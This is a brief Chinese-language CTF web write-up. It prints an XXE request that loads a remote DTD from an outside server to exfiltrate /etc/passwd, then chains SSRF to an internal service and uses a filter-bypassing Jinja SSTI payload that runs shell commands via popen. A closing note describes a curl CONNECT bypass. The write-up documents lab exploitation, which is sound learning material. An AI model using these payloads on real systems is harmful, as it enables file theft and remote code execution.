0ops_web_writeup
XXE⌗
POST / HTTP/1.1
Host: xxx:40172
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://106.14.179.48:8081/1.dtd">
%remote;%int;%send;
]>
打开网站是一个典型的XXE漏洞,构造poc
在公网服务器上存放dtd文件,可以读取到文件内容。
监听1234端口,接收/etc/passwd文件内容
但是无法直接读取到/flag文件猜测flag文件名为随机字符串,没有其他思路,读取下中间件配置文件,
/etc/nginx/nginx.conf
。
发现服务器中还存在一个45382端口,通过xxe的ssrf漏洞,读取
http://127.0.0.1:45382
,提示Required String parameter 'name' is not present
。
传一个参数name,返回传入的参数内容,一般这种情况下SSTI漏洞会比较常见。
尝试SSTI,发现过滤了
{{}}
,通过{%%}
可以绕过,中间测试步骤过滤。
,通过request.args
绕过。
可以看见读取到flag文件名为flag_NvXjZgcUExmwAR4Zs7Gd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:45382/?name=%7B%25print(()%5Brequest.args.c%5D%5Brequest.args.b%5D%5B0%5D%5Brequest.args.s%5D()%5B127%5D%5Brequest.args.i%5D%5Brequest.args.g%5D%5Brequest.args.po%5D(%27ls%20/%27)%5Brequest.args.r%5D())%25%7D&c=%5f%5f%63%6c%61%73%73%5f%5f&b=%5f%5f%62%61%73%65%73%5f%5f&s=%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f&i=%5f%5f%69%6e%69%74%5f%5f&g=%5f%5f%67%6c%6f%62%61%6c%73%5f%5f&po=popen&r=read">
connect-to-ctf-world⌗
题目提供了源码,程序运行起来后会把flag写入flag文件,但是因为没有配置路由无法读取到flag中的内容。
通过curl的
--path-as-is -X CONNECT
进行绕过